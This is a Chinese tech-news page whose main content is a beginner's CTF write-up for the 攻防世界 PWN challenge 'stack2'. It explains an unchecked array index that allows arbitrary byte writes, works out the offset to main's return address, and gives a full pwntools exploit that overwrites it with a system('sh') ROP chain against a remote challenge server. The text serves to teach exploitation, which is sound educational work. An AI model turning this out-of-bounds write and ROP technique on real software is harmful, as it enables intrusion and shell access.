最新要闻
- 低到13.48万元起步 江西五十铃现款D-MAX年中大促_全球热点评
- 被人类幼崽萌化的瞬间:画面实在太可爱!祝愿大家六一快乐
- 访华后特斯拉股价大涨 马斯克重返世界首富宝座
- 播报:老外试驾法拉第未来FF 91被震撼:从未见过副驾驶有屏幕的车子
- 旧机福音 极限精简版Win10系统Tiny10更新:64位支持来了|全球百事通
- 坐飞机也要称体重 新西兰航空登机前将给国际旅客称重-天天热推荐
- 仙佑膏药逐步实现标准化 公司规范化生产管理水平
- 环球热文:南运河南路与金钟桥大街交口车行道调整
- 全球快报:14代酷睿有望首发 Intel开发Wi-Fi 7芯片:网速狂飙4.8千兆
- 热点!男孩六一表演化身行走表情包 全情投入阳光自信:网友看笑不愧C位
- 26次高考落榜大叔继续冲击重本 网友吐槽哗众取宠、炒作:本人回应
- 【速看料】马斯克到访特斯拉上海超级工厂 陶琳深夜发声:激动人心 收获满满
- 头条:关于nokia_6270的问题
- 被苹果抛弃了!初代iPad Air被列为过时产品 观天下
- 超越苹果M2 AMD锐龙7000全新AI性能实战:等14代酷睿来战-世界关注
- 售价超2万元!苹果首款头显Reality Pro高清渲染图出炉:下周发布
手机
iphone11大小尺寸是多少?苹果iPhone11和iPhone13的区别是什么?
警方通报辅警执法直播中被撞飞:犯罪嫌疑人已投案
- iphone11大小尺寸是多少?苹果iPhone11和iPhone13的区别是什么?
- 警方通报辅警执法直播中被撞飞:犯罪嫌疑人已投案
- 男子被关545天申国赔:获赔18万多 驳回精神抚慰金
- 3天内26名本土感染者,辽宁确诊人数已超安徽
- 广西柳州一男子因纠纷杀害三人后自首
- 洱海坠机4名机组人员被批准为烈士 数千干部群众悼念
家电
全球滚动:攻防世界_PWN_stack2
本文通过结合其他师傅的思路以及自己的一些理解完成。希望在记录自己所学知识的同时能够帮助有同样疑惑的人。pwn入门新手一个,如果有说错的地方请师傅们多多包涵
0x00 前置知识
本题关键汇编指令:mov指令和lea指令以及ret指令
【资料图】
mov
mov指令的功能是传送数据,它可以把一个操作数的值复制到另一个操作数中。例如:
mov eax, [ebp-18h]
,作用是将ebp-18h作为偏移地址,寻址找到内存单元,将该内存单元中的数据送至eax,类似于C语言中的eax=*(ebp-18h)
;
mov [ebp-1ch],eax
,作用是将eax中的数据送至ebp-1ch作为偏移地址所指向的内存单元 。类似于C语言中的*(ebp-1ch)=eax
lea
lea指令的功能是计算有效地址,它可以把一个内存地址的值存入一个寄存器中。例如:
lea eax, [ebp-18h]
,作用是将ebp-18h作为一个地址(而不是一个值),存入eax寄存器中。类似于C语言中的eax=ebp-18h
;lea [ebp-1ch],eax
,作用是将eax寄存器中的值(假设为12345678h)存入ebp-1ch作为偏移地址所指向的内存单元。类似于C语言中的*(ebp-1ch)=*eax
。(这个用法和本题没啥关系,只是提一嘴)
ret
这个应该都很熟悉了。ret指令的功能是从子程序返回,它可以把栈顶的值弹出并作为返回地址,跳转到调用子程序的地方。
0x01 漏洞代码
在选择change number后程序未对输入的数字进行审查,导致可以直接修改超出数字范围的内存数据,这样我们只要知道内存某个地方相对于数组的偏移,就能修改那个地方的内容
后门函数,经过师傅们的测试发现这个函数在远程运行时会提示没有bash,但是利用system
函数和字符串sh
执行system("sh")
同样能达到我们的目的
0x02 解题思路及步骤
既然可以直接修改任意内存的数据,那么直接将main
函数的返回地址修改为调用system("sh")
的ROP链,然后在菜单中选择5.exit退出main
函数,就可以将执行流转到system("sh")
了。
2.1 求偏移量
想要修改内存数据,首先要知道偏移量
在ida中可以看出来数组相对于ebp的偏移量是70h,那返回地址相对于数组的偏移量就是74h。
那就错了!!!,并不是所有函数的ebp都挨着返回地址,有时候会做一些调整。所以我们就需要知道main
函数的返回的地址以及数组在内存中位置。这时候接下来我们就来通过动态分析求这两个值。
2.1.1确定数组在内存中的位置:
我们知道,这个数组是存在内存当中的,当我们向数组中存入第一个数字时,数字所在的位置就是数组首地址的位置(即&arr[0]==arr
)。现在来读一下我们输入的第一个数字存入数组时的汇编代码[1]:
mov eax, [ebp-88h]
表示将ebp-88h处的内存值,也就是我们输入的值,假设为1h,传送到eax寄存器中,此时eax=1h
mov ecx, eax
表示将eax寄存器中的值(1h)传送到ecx寄存器中,此时ecx=1h
lea edx, [ebp-70h]
表示将ebp-70h作为一个地址传送到edx寄存器中,此时假设ebp=00100000h,则edx=000FF890h即数组基地址
mov eax, [ebp-7Ch]
表示将ebp-7Ch处的内存值,也就是记录循环次数的i,第一次循环i为0,传送到eax寄存器中,此时eax=0
add eax, edx
表示将edx寄存器中的值(000FF890h)加到eax寄存器中的值(0),这一步相当于找到arr[0]的位置,此时eax=000FF890h
mov [eax], cl
表示将ecx寄存器中的最低8位(即cl,值为01h)传送到内存地址为eax=000FF890h的单元中
在执行完这段代码后我们可以知道两件事:eax存放的值就是数组的地址;地址的最低八位的值就是我们输入的值
在执行add eax,edx
后eax的值:
执行mov [eax],cl
之前0xffffcf88的值:0xf7fc17c0
执行mov [eax],cl
之前0xffffcf88的值:0xf7fc1701
由此可以确定,0xffffcf88就是数组在内存中的位置
2.1.2 确定main函数的返回地址
这个就简单的多了,当我们执行到ret指令的时候,esp指向的地方就是main函数的返回地址
在程序最后打断点,查看esp的值:
esp此时的值是0xffffd00c,也就是main函数的返回地址
至此,我们就求出了偏移量0xffffd00c-0xffffcf88=0x84
2.2 构造ROP链
首先找到system函数和sh的地址,分别是0x08048450和0x08048987
在常规栈溢出中,我们的payload构成应该是
offset + system_addr + 0xdeadbeef + sh_addr
但是在这题中我们能直接修改内存内容,因此只要把system_addr和sh_addr填到栈上的相应位置即可。注意:由于每次我们只能修改1字节,所以要分成多次将ROP链的内容填到栈上
0x03 完整exp
菜鸡仿照别的师傅写的
from pwn import *#io = process("./stack2")io = remote("61.147.171.105",55215)context(log_level="debug")def change (index,number): io.recvuntil("exit\n") io.sendline(str(3)) io.recvuntil(b"which number to change:\n") io.sendline(str(index)) io.recvuntil("new number:\n") io.sendline(str(number))io.recvuntil("How many numbers you have:\n")io.sendline(str(1))io.recvuntil("Give me your numbers\n")io.sendline(str(1))change(0x84,0x50)change(0x85,0x84)change(0x86,0x04)change(0x87,0x08)change(0x8c,0x87)change(0x8d,0x89)change(0x8e,0x04)change(0x8f,0x08)io.recvuntil(b"exit\n")io.sendline(str(5))io.interactive()
小声bb:在使用recvuntil
接收字符串的时候最好确认一下字符串有没有打错,不然就会exp运行时会卡住。没错我就是那个笨比
ebp+var_x
的意思是ebp偏移为x的位置,在ida中选中var_x
再按下H
就可以将其转化为ebp-xh
的形式 ↩︎
关键词:
-
世界热头条丨MySQL表列数和行大小限制
一:引言1118-Rowsizetoolarge Themaximumrowsizefortheusedtabletype,notcountingBLOBs,is65535 Thisincludesstorageoverhead,checkthe
来源: 全球滚动:攻防世界_PWN_stack2
世界热头条丨MySQL表列数和行大小限制
天天观热点:为什么JS中0.1+0.2不等于0.3
美国会众议院通过债务上限法案 全球热点评
低到13.48万元起步 江西五十铃现款D-MAX年中大促_全球热点评
被人类幼崽萌化的瞬间:画面实在太可爱!祝愿大家六一快乐
访华后特斯拉股价大涨 马斯克重返世界首富宝座
播报:老外试驾法拉第未来FF 91被震撼:从未见过副驾驶有屏幕的车子
旧机福音 极限精简版Win10系统Tiny10更新:64位支持来了|全球百事通
坐飞机也要称体重 新西兰航空登机前将给国际旅客称重-天天热推荐
仙佑膏药逐步实现标准化 公司规范化生产管理水平
在 Ubuntu 上使用 ADB 备份 Android 数据 世界热议
环球热文:南运河南路与金钟桥大街交口车行道调整
全球快报:14代酷睿有望首发 Intel开发Wi-Fi 7芯片:网速狂飙4.8千兆
热点!男孩六一表演化身行走表情包 全情投入阳光自信:网友看笑不愧C位
26次高考落榜大叔继续冲击重本 网友吐槽哗众取宠、炒作:本人回应
【速看料】马斯克到访特斯拉上海超级工厂 陶琳深夜发声:激动人心 收获满满
头条:关于nokia_6270的问题
大数据面试题集锦-Hadoop面试题(二)-HDFS
世界关注:人民币汇率跌破7.1,原因是什么?专家解读
被苹果抛弃了!初代iPad Air被列为过时产品 观天下
超越苹果M2 AMD锐龙7000全新AI性能实战:等14代酷睿来战-世界关注
售价超2万元!苹果首款头显Reality Pro高清渲染图出炉:下周发布
环球关注:马娘翻译:被白兴大人附身的福来
2023年4月和5月随笔
儿童节的梦想!妈妈 我想要一本“黑客攻防指南”
热议:CPU时代又回来了?英伟达股价大跌5% 英特尔逆势上涨
SD协议-状态机-天天观速讯
世界微动态丨哪种商业医疗保险好呢_比较好的商业医疗保险
环球关注:杀6000万头差点灭绝 奉为国兽还杀:为何美国跟野牛过不去?
四辆车狭路相逢挤一起 网友:两车道整出四车道|天天通讯
世界热议:一个时代落幕!《英联联盟》今日13.11版重磅更新:正式放弃32位系统
美女云集!网飞韩剧《绝世网红》中字预告首曝:宋雨琦客串 世界观速讯
儿童节快乐!今天6月1日 微信上线卖萌、带娃限时状态
天天新资讯:禾的组词一年级云组词_禾的组词一年级
大戏看北京 6月文艺资讯-每日资讯
发现增加了预防链球菌感染的希望 环球快讯
车贷担保人会影响征信吗
今日热闻!小迪网安笔记一:基础入门
世界微头条丨Doris(六) -- 查询语法和内置函数
重装系统之后发现网卡驱动丢了,怎么办?一招解决_世界简讯
云从科技:目前基础部分的算力需求能够被基本满足_全球热资讯
暴雪对《暗黑破坏神4》服务器感觉良好:我们准备好了!
【独家焦点】电影《诛仙1》CCTV6今晚开播收视登顶!肖战、李沁主演
天天滚动:注意!江苏苏州将发放1亿元购车补贴 一次性可补五千
日版实体版《死亡细胞:重返恶魔城》将9月14日发售 为特别好评作品
真人电影《勿言推理》追加演员阵容公布 永山瑛太将出演影片
《原神》七圣召唤国际大赛将于今年举办 为上线以来首次官方国际赛事
玩家打造全球最小GC主机 方正小巧造型吸引众人的喜爱
BOSS直聘-W:耗资约400万美元回购近58.76万股-环球快看点
动画声优大西沙织因健康状况恶化将减少工作活动 曾配音《路人女主》
广东汕尾台风天刮来众多生蚝 两人一小时收获两百多斤
《斗罗大陆2》被曝最新路透照 张予曦饰演的小舞白裙绝美可人
2023新一线城市名单公布 北方仅有四座城市上榜
“高考钉子户”梁实马上迎来其第27次高考 称准备相对充分
15)触发器
天天微动态丨小程序容器助力航空企业数字化转型
全球新动态:2.单向链表
Quartz任务调度框架 世界报资讯
视点!掌握嵌入式Linux编程0简介
月度回望|“资产荒”逻辑未破 5月债市现券收益率曲线陡峭下移
当前头条:日本最大啤酒商要重返中国:你爱日啤、德啤还是国啤?
3999元起 华为Vision智慧屏3开售:720P秒变4K
刀塔循环圈单机地图 刀塔循环圈-天天即时看
React Native+小程序容器=更高的开发效率_焦点热门
全球热议:uniapp uni-number-box组件 步长为1,还能输入小数思路分享
Linux工作原理3设备 天天简讯
2023-05-31:给定一个整数数组 A,你可以从某一起始索引出发,跳跃一定次数 在你跳跃的过程中,第 1、3、5... 次跳跃称为奇数跳跃 而第 2、4、6
世界微动态丨货币市场日报:5月31日
“暖蜂驿站”温暖“两新”群体 相城区太平街道打造“15分钟暖蜂服务圈”-每日关注
首发2999元 联想百应新款迷你主机上架:13代i5、机身仅0.5L 全球快消息
满油满电续航1370公里 加速7秒内!吉利银河L7上市:13.87万起|世界观焦点
NVIDIA发布535.98驱动更新:大幅提升《暗黑破坏神4》帧数 每日快讯
当前观察:4799元开售!一图看懂努比亚Z50 Ultra摄影师版:玻璃“皮革”独一家
c#使用内存映射像处理内存一样去快速处理文件_全球热头条
重学c#系列——DiagnosticListener [三十五]|每日热门
市场监管总局:CCC认证制度实施以来,儿童玩具合格率显著提升 每日关注
从蔚小理到理小蔚 蔚来汽车做高端砸换电能否逆袭?|今日报
华为凌霄子母路由Q6E正式开售:电线变网线 全屋Wi-Fi满格
《小美人鱼》内地票房突破2000万!累计观影人次达54.7万 全球报道
摩尔线程显卡支持DX11游戏!国产第一家
针刺只是小儿科!吉利银河L7电池遭“蹂躏”:跌落水泡火烧撞击均无碍
天天热头条丨记录--Js基础练习题目
Apache DolphinScheduler 3.0.6 发布,或将是最后一个 3.0.X 版本|当前播报
债市日报:5月31日
航天宏图: 公司无人机业务:业务领域覆盖国土测绘、环保监测、河道监测、电力巡检、管道巡线、灾情监测等
或有剧毒!印度学生午餐中现20厘米死蛇:多人进餐后呕吐昏迷 环球要闻
风头盖过马斯克访华 贾跃亭新车220万开卖!FF 91最全解析 世界速递
全球今日讯!新型太阳能电池问世:柔韧性极高 弯曲角度可超360度
中兴晴天墙面路由器上手:新一代WiFi 6穿墙神器
明星餐饮为何逃不出短命魔咒?专家解释原因 全球速读
深圳电网用电负荷连续第三年突破2000万千瓦 当前热点
1499元起 OPPO K11x今晚开售:1亿像素+67W快充
全球今亮点!618最值得买的数码好物!华为家庭存储七大核心优势:比NAS好用多了
四川南充暴雨 下水道喷出1米高水柱!网友:趵突泉南充分泉
预售18:00截止!B站大会员年卡仅需88元
世界热议:手机PC秒变4TB硬盘空间!华为家庭存储图赏
理论+实操|一文掌握 RFM 模型在客户数据洞察平台内的落地实战|焦点速讯
热讯:TSN流量记录器:验证汽车网络中的以太网聚合,经济高效的解决方案
MySQL之常用数据类型